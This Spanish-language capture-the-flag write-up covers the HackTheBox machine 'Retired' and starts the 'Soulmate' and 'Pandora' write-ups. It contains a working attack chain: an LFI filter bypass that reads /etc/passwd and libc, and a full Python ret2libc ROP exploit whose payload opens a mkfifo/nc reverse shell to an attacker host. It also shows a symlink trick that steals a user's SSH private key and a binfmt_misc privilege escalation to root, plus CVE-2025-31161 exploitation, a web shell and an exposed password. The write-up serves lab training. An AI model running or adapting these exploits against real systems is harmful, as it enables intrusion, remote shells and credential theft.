| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
| 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
80/tcp open http syn-ack ttl 63 nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En la web, por defecto no hay mucho, así que toca hacer fuzzing.

Fuzzing y descubrimiento de `beta.html`

Encontramos un beta.html en el fuzzing de directorios.

gobuster dir -u
http://10.129.71.227
 -w /usr/share/dirb/wordlists/common.txt -x php,html -q
/assets (Status: 301) [Size: 162] [-->
http://10.129.71.227/assets/
]

/beta.html (Status: 200) [Size: 4144]
/css (Status: 301) [Size: 162] [-->
http://10.129.71.227/css/
]
/default.html (Status: 200) [Size: 11414]

LFI en `page=` con `php://filter`

Vemos que en el endpoint principal hay un parámetro modificable page=. El comportamiento sugiere LFI usando php://filter/read=convert.base64-encode/resource=....

Al leer default.html en Base64, simplemente decodificando obtenemos el contenido en texto claro.

Hay un filtro que intenta evitar el típico ../.., pero se puede bypassear con doble barra ..//...

Intento de Log Poisoning (no viable)

Probamos log poisoning leyendo:

php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log
php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log

Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.

Bypass del filtro (por `str_replace` no recursivo)

Aquí está el problema.

Esto busca la cadena ../ y la elimina.
La vulnerabilidad: str_replace no es recursivo. Solo lo hace una vez.
El bypass: si se envía ....//, el sistema elimina los dos caracteres del medio (../) y une los extremos, creando un nuevo ../ que el sistema ya no revisa.

Archivos interesantes vía LFI

Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:

nginx.conf


user www-data;
worker_processes auto;
pid /run/
nginx.pid
;
include /etc/nginx/modules-enabled/*.conf;

events {
 worker_connections 768;
}

http {
 sendfile on;
 tcp_nopush on;
 types_hash_max_size 2048;
 server_tokens off;

 server_names_hash_bucket_size 64;
 server_name_in_redirect off;

 include /etc/nginx/mime.types;
 default_type application/octet-stream;

 access_log /var/log/nginx/access.log;
 error_log /var/log/nginx/error.log;

 gzip on;

 include /etc/nginx/conf.d/*.conf;
 include /etc/nginx/sites-enabled/*;
}

Y también /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash

Users: www-data, vagrant

RFI (no viable)

Probamos con un RFI, pero no ejecuta.

Fuzzing de archivos sensibles

──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u
http://previous.htb/index.php?page=php://filter/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
 -fs 0


..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 56ms]
/etc/apt/sources.list [Status: 200, Size: 632, Words: 1, Lines: 1, Duration: 31ms]
/etc/crontab [Status: 200, Size: 1392, Words: 1, Lines: 1, Duration: 26ms]
/etc/fstab [Status: 200, Size: 436, Words: 1, Lines: 1, Duration: 32ms]
/etc/group [Status: 200, Size: 940, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 30ms]
/etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 31ms]
/etc/hosts.deny [Status: 200, Size: 948, Words: 1, Lines: 1, Duration: 72ms]
/etc/hosts.allow [Status: 200, Size: 548, Words: 1, Lines: 1, Duration: 73ms]
/etc/netconfig [Status: 200, Size: 1024, Words: 1, Lines: 1, Duration: 37ms]
/etc/motd [Status: 200, Size: 384, Words: 1, Lines: 1, Duration: 42ms]
/etc/issue [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 45ms]
/etc/nsswitch.conf [Status: 200, Size: 680, Words: 1, Lines: 1, Duration: 45ms]
/./././././././././././etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 40ms]
/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 30ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 44ms]
../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 45ms]
../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 49ms]
../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 48ms]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/etc/rpc [Status: 200, Size: 1184, Words: 1, Lines: 1, Duration: 26ms]
/etc/resolv.conf [Status: 200, Size: 52, Words: 1, Lines: 1, Duration: 26ms]
/etc/ssh/sshd_config [Status: 200, Size: 4452, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/dev [Status: 200, Size: 600, Words: 1, Lines: 1, Duration: 32ms]
/proc/net/arp [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 37ms]
/proc/cpuinfo [Status: 200, Size: 3040, Words: 1, Lines: 1, Duration: 41ms]
/proc/mounts [Status: 200, Size: 1956, Words: 1, Lines: 1, Duration: 41ms]
/proc/interrupts [Status: 200, Size: 5576, Words: 1, Lines: 1, Duration: 41ms]
/proc/loadavg [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 41ms]
/proc/meminfo [Status: 200, Size: 1892, Words: 1, Lines: 1, Duration: 41ms]
/proc/net/route [Status: 200, Size: 512, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/tcp [Status: 200, Size: 8800, Words: 1, Lines: 1, Duration: 26ms]
/proc/self/cmdline [Status: 200, Size: 104, Words: 1, Lines: 1, Duration: 39ms]
/proc/partitions [Status: 200, Size: 156, Words: 1, Lines: 1, Duration: 42ms]
/proc/self/status [Status: 200, Size: 1780, Words: 1, Lines: 1, Duration: 39ms]
/proc/version [Status: 200, Size: 248, Words: 1, Lines: 1, Duration: 39ms]
/var/log/lastlog [Status: 200, Size: 390112, Words: 1, Lines: 1, Duration: 29ms]
/var/log/wtmp [Status: 200, Size: 15360, Words: 1, Lines: 1, Duration: 25ms]
/var/run/utmp [Status: 200, Size: 1536, Words: 1, Lines: 1, Duration: 26ms]
///////../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 25ms]

Activación de licencia y servicio interno

Conseguimos el código de beta.html y vemos un formulario que “activa la licencia”.

El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.

cat activate_liscence.php
<?php
if(isset($_FILES['licensefile'])) {
 $license = file_get_contents($_FILES['licensefile']['tmp_name']);
 $license_size = $_FILES['licensefile']['size'];

 $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 if (!$socket) { echo "error socket_create()\n"; }

 if (!socket_connect($socket, '127.0.0.1', 1337)) {
 echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
 }

 socket_write($socket, pack("N", $license_size));
 socket_write($socket, $license);

 socket_shutdown($socket);
 socket_close($socket);
}
?>

Efectivamente, el puerto está escuchando.

Hacemos strings buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: Buffer Overflow.

Protecciones del binario

Revisamos controles de seguridad.

Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un stack-based buffer overflow.

Análisis en Ghidra: el bug

uint32_t msglen;
char buffer [512];
sVar2 = read(sockfd,&msglen,4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n",msglen);
sVar2 = read(sockfd,buffer,(ulong)msglen);

Este código es vulnerable porque msglen está controlado por el usuario. Si enviamos un tamaño mayor que 512, read() desbordará el buffer.

Para continuar, tenemos que identificar el offset hasta el Saved RIP (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.

Encontrar el offset con patrón

Usamos gdb y un patrón.

pattern create 600

El exploit para determinar el offset:

El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.

len(msg): calcula la longitud del patrón.
p32(...): empaqueta ese número en 4 bytes.
endian='big': coincide con el ntohl del C (network order = big endian).

Al principio explota porque falta una base de datos.

Creamos una base de datos fake license.sqlite3 y ahora sí.

pattern search $rsp

¿Por qué $rsp****? En x64, cuando se ejecuta RET, el procesador toma la dirección de retorno de donde apunta RSP. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.

Obtenemos un offset de 520.

Ret2Libc

Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es Ret2Libc: reutilizar funciones de libc (por ejemplo system()).

Por ASLR, libc cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:

actbase: base del binario activate_license.
libcbase: base de la librería libc.

Para eso leemos /proc/<PID>/maps del proceso activate_license, y antes necesitamos el PID.

Tenemos PID (419).

activate_license → 55591a82b000
libc → 7ff574bbe000

Offset de `system()` en libc

Descargamos libc-2.31.so del servidor para analizarla.

curl http://10.129.227.96/index.php?page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so

objdump nos permite localizar system (offset 0x00048e50).

`pop rdi; ret` y zona escribible

En x64, el primer argumento de una función va en RDI, así que necesitamos un gadget pop rdi; ret.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# ropper -f ../loot/activate_license --search 'pop rdi; ret'
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: ../loot/activate_license
0x000000000000181b: pop rdi; ret;

Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:

Buscar una zona escribible (por ejemplo .data).
Escribir ahí el comando en trozos.
Llamar a system() apuntando a esa dirección.

Con rabin2 -S vemos secciones y permisos (por ejemplo .data es -rw-).

┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# rabin2 -S ../loot/activate_license

[Sections]

nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp
2 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE .
note.gnu.build
-id
3 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag
4 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash
5 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym
6 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr
7 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version
8 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r
9 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn
10 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt
11 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init
12 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt
13 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS .
plt.got

14 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text
15 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini
16 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata
17 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr
18 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame
19 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array
20 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array
21 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic
22 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got
23 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data
24 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss
25 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment
26 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges
27 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info
28 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev
29 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line
30 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str
31 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab
32 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab
33 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab

Exploit

#!/usr/bin/python3
from sys import argv
from pwn import *
import requests

# Esta función realiza todo el ataque
def perform_rce(rhost, lhost):
 # --- 1. DIRECCIONES BASE (ASLR) ---
 # Dirección base donde se cargó el programa "activate_license"
 # (Coincide con la primera línea de /proc/maps)
 actbase = 0x561afcc08000

 # Dirección base donde se cargó la librería "libc"
 # (Coincide con la línea de libc-2.31.so en /proc/maps)
 libcbase = 0x7fc7d4c5c000

 print(f"[+] ActBase: {hex(actbase)}")
 print(f"[+] LibcBase: {hex(libcbase)}")

 # --- 2. GADGETS (HERRAMIENTAS DE ROP) ---
 # Son instrucciones pequeñas que ya existen en el programa/libc.

 # Gadget en el binario principal 
 # Sirve para poner el primer argumento de una función (RDI)
 pop_rdi = p64(actbase + 0x0000181b) # pop rdi; ret;

 # Gadget en Libc: Sirve para poner el segundo argumento (RDX)
 # Lo usamos como "mochila" para llevar los trozos de nuestro comando
 pop_rdx = p64(libcbase + 0x000cb1cd) # pop rdx; ret;

 # Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)
 mov_gadget = p64(libcbase + 0x0003ace5) # mov qword ptr [rdi], rdx; ret;

 # Dirección de la función system() en Libc
 system_addr = p64(libcbase + 0x00048e50)

 # --- 3. ZONA ESCRIBIBLE ---
 # Offset 0x4000 sacado de rabin2 (Sección .data)
 # Aquí es donde escribiremos nuestro comando malicioso byte a byte.
 writable = actbase + 0x00004000

 # Offset del Buffer Overflow (confirmado previamente como 520)
 offset = 520

 # --- 4. PREPARAR EL COMANDO (PAYLOAD) ---
 # Creamos el comando de reverse shell.
 # Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.
 cmd = f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} 4444>/tmp/f".encode()

 # Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.
 cmd += b"\x00"

 # Rellenamos con ceros hasta que la longitud sea múltiplo de 8
 # (Necesario porque en 64 bits escribimos de 8 en 8 bytes)
 if len(cmd) % 8 != 0:
 cmd += b"\x00" * (8 - (len(cmd) % 8))

 # --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---
 rop = b''
 rop += b'A' * offset # Relleno basura hasta llegar al RIP (Instruction Pointer)

 # BUCLE DE ESCRITURA (Write-What-Where)
 # Divide el comando en trozos de 8 bytes y los escribe en la memoria .data
 for i in range(0, len(cmd), 8):
 chunk = cmd[i:i+8] # Coger 8 letras del comando

 # Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)
 rop += pop_rdi
 rop += p64(writable + i)

 # Paso B: Decirle QUÉ escribir (RDX = las 8 letras)
 rop += pop_rdx
 rop += chunk.ljust(8, b"\x00")

 # Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])
 rop += mov_gadget

 # --- 6. EJECUCIÓN FINAL ---
 # Ahora que el comando está escrito en la memoria 'writable', lo ejecutamos.

 rop += pop_rdi # Poner en RDI la dirección donde escribimos el comando
 rop += p64(writable)

 rop += system_addr # Llamar a system() -> system("tu_comando")

 # --- 7. EMPAQUETADO Y ENVÍO ---
 # Guardamos el ROP en un archivo
 filename = 'revshell.key'
 with open(filename, 'wb') as f:
 f.write(rop)

 print(f"[+] Payload generado en {filename}")
 print(f"[+] Enviando petición a http://{rhost}/activate_license.php ...")

 # Preparamos la subida del archivo tal como lo espera el PHP
 files = {
 "licensefile": (filename, open(filename, "rb"), 'application/octet-stream')
 }

 try:
 # Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.
 requests.post(f"http://{rhost}/activate_license.php", files=files)
 print("[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!")
 except Exception as e:
 print(f"[-] Error enviando exploit: {e}")

# Punto de entrada del script
if __name__ == "__main__":
 if len(argv) < 3:
 print(f"Uso: python3 {argv[0]} <RHOST> <LHOST>")
 print("Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44")
 exit(1)

 perform_rce(argv[1], argv[2])

Tenemos reverse shell.

Escalada a `dev` vía servicio de backups

Enumerando en busca de credenciales (queremos acceso a dev), en /var/www vemos .zip que parecen backups. No hay mucho directo, pero hay timers configurados.

Nos llama la atención el backup service, porque se ejecuta como dev.

El script:

www-data@retired:/var/www$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail

cd /var/www/

SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
 | sort --zero-terminated --numeric-sort --reverse \
 | while IFS= read -r -d '' backup; do
 if [ "$KEEP" -le 0 ]; then
 /usr/bin/rm --force -- "$backup"
 fi
 KEEP="$((KEEP-1))"
 done

La idea es aprovechar cómo zip trata enlaces simbólicos cuando corre como dev:

El sistema arranca el script como el usuario dev.
zip empieza a comprimir /var/www/html.
zip se encuentra con un enlace simbólico.
El comportamiento por defecto de zip es seguir enlaces simbólicos y archivar el destino.
Como el script corre como dev, tiene permisos de lectura sobre /home/dev.
El .zip generado en /var/www/ puede incluir ficheros de dev.

Creamos el symlink. No me ha funcionado apuntando a todo /home/dev, así que apuntamos directamente a la clave SSH.

ln -s /home/dev/.ssh/id_rsa ssh_key.txt


unzip 2026-01-16_11-06-06-html.zip

Archive: 2026-01-16_11-06-06-html.zip

....
 inflating: var/www/html/ssh_key.txt
....

Con esto conseguimos user flag.

Escalada a root: binfmt_misc + capabilities

En el directorio de dev encontramos un proyecto en C.

emuemu.c:

dev@retired:~/emuemu$ cat emuemu.c
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
 puts("EMUEMU is still under development.");
 return 1;
}

Y otro archivo que permite escribir en binfmt_misc/register.

dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
 char cmd[512] = { 0 };

 read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

 int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
 if (-1 == fd)
 perror("open");
 if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
 perror("write");
 if (close(fd) == -1)
 perror("close");

 return 0;
}

Encontramos la idea en “HackTricks”:

/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered for non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
You can find an exploit in https://github.com/toffan/binfmt_misc: Poor man's rootkit, leverage binfmt_misc's credentials option to escalate privilege through any suid binary (and to get a root shell) if /proc/sys/fs/binfmt_misc/register is writeable.

Del Makefile se ve que reg_helper se instala en /usr/lib/emuemu y recibe cap_dac_override, permitiendo escribir en el register.

dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
 @echo "[+] Installing program files"
 install --mode 0755 emuemu /usr/bin/
 mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
 install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
 setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

 @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
 echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
 | tee /usr/lib/binfmt.d/emuemu.conf \
 | /usr/lib/emuemu/reg_helper

clean:
 rm -f -- $(TARGETS)

Confirmamos que existe, es ejecutable por el grupo dev y tiene cap_dac_override.

Según la documentación del kernel: Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation

Para registrar un tipo nuevo hay que escribir una cadena con este formato:

:name:type:offset:magic:mask:interpreter:flags

El flag que nos interesa:

C - credentials

Cuando se incluye, las credenciales se calculan según el binario. Implica O, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.

La idea es registrar una entrada con C para que se ejecute como root.

Creamos un binario que asigna permisos laxos a /bin/bash para explotar el comportamiento, y lo usamos como intérprete.

Lo compilamos:

gcc -o root root.c

Buscamos un binario SUID root para disparar la ejecución.

dev@retired:~/emuemu$ find / -user root -perm -4000 -executable 2>/dev/null
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/lib/openssh/ssh-keysign

Podemos usar cualquiera de estos ejecutables.

Con la flag E podemos registrar por extensión.

type es el tipo de reconocimiento. M para magic y E para extension.

Soulmate (Easy)

admin@synacklabs.github.io (SynAckLabs) — Thu, 15 Jan 2026 00:00:00 +0000

Resumen

Objetivo: explotar un servicio web en el puerto 80 que permite subir y servir imágenes, y usarlo para conseguir ejecución de código. Tras enumerar subdominios/vhosts se identifica un panel relacionado con CrushFTP. Se utiliza un exploit público de la CVE-2025-31161 para acceder al panel, enumerar usuarios y finalmente obtener acceso interactivo. Después se exploran rutas alternativas de acceso (cambio de contraseña de un usuario) y se prepara la escalada a través de un servicio SSH interno expuesto en el puerto 2222.

Puerto 80: primera observación

Se trata de una app de citas. La funcionalidad de subida de fotos sugiere una posible vulnerabilidad de file upload.

El endpoint donde se guardan/gestionan las imágenes:

La idea es encontrar una forma de subir contenido malicioso que termine ejecutándose en el servidor.

Se observa que el endpoint cambia los últimos 3 dígitos, lo que parece relevante para activar o localizar la shell.

Enumeración: subdominios y vhosts

Se realizan descubrimientos de subdominios y vhosts.

Aparece un panel y se obtiene información del servicio: CrushFTP.

Exploit utilizado:

https://github.com/Immersive-Labs-Sec/CVE-2025-31161/blob/main/cve-2025-31161.py

¿Cómo funciona técnicamente? (CVE-2025-31161)

Proceso de autenticación (race condition): el servidor CrushFTP emplea el método AWS4-HMAC-SHA256 (compatible S3) para autorizar peticiones.
Al recibir una autenticación, primero verifica la existencia del usuario (p. ej. login_user_pass()) sin exigir contraseña, lo que durante un lapso breve deja la sesión en un estado “válido”.
Si durante ese lapso se envía un header Authorization malformado (por ejemplo, con solo el nombre de usuario y una /, como AWS4-HMAC-SHA256 Credential=crushadmin/), se puede provocar un error que evita que la sesión se cierre y mantiene la autenticación sin validación.
Con ello, se puede actuar como un usuario conocido (especialmente crushadmin, por ser cuenta por defecto) y obtener control del servidor.

Acceso al panel

Estamos dentro.

Enumeración de usuarios disponibles:

Web shell a través de la foto de perfil

Desde un usuario con permisos administrativos, se renombra la foto de perfil para intentar obtener una web shell.

Comprobación:

/etc/passwd

Shell y credenciales encontradas

Se obtiene una shell.

Revisión de configuración:

config

Credencial observada:

Crush4dmin990

Vía alternativa: acceso como otro usuario

Otra manera de acceder: se cambia la contraseña de ben y se entra como ese usuario para subir una shell.

Escalada: servicio interno SSH (Erlang 5.2.9)

Se detecta un servicio SSH interno en el puerto 2222.

link_preview

Se modifica el exploit, ya que nc no funciona bien en este contexto.

Ejecución / resultados:

Pandora (Easy)

admin@synacklabs.github.io (SynAckLabs) — Wed, 14 Jan 2026 00:00:00 +0000

Resumen

Write-up de la máquina Pandora (Easy). Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar UDP, donde aparece SNMP (161/udp) con community string public. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de Pandora FMS, explotamos una SQLi para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a root mediante PATH hijacking en un binario SUID que invoca tar sin ruta absoluta.

Enumeración

Enumeración TCP

PORT STATE SERVICE VERSION
